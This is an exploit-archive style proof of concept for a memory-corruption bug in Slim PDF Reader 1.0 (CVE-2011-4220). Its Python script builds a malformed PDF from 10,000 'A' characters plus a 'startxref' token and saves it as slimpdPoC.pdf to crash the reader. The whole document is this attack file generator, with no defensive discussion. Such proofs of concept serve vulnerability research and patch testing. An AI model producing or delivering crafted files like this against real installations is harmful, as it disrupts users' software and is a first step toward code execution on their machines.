Slim PDF Reader 1.0 Memory Corruption

`# Exploit Title:  
# Date: June 24 2012  
# Exploit Author: Carlos Mario Penagos Hollmann  
# Vendor Homepage: www.investintech.com  
# Version:1.0  
# Tested on: Windows 7  
# CVE : cve-2011-4220  
  
  
payload ="A"*10000  
crash="startxref"  
pdf=payload+crash  
  
filename = "slimpdPoC.pdf"  
file = open(filename,"w")  
file.writelines(pdf)  
file.close()  
  
`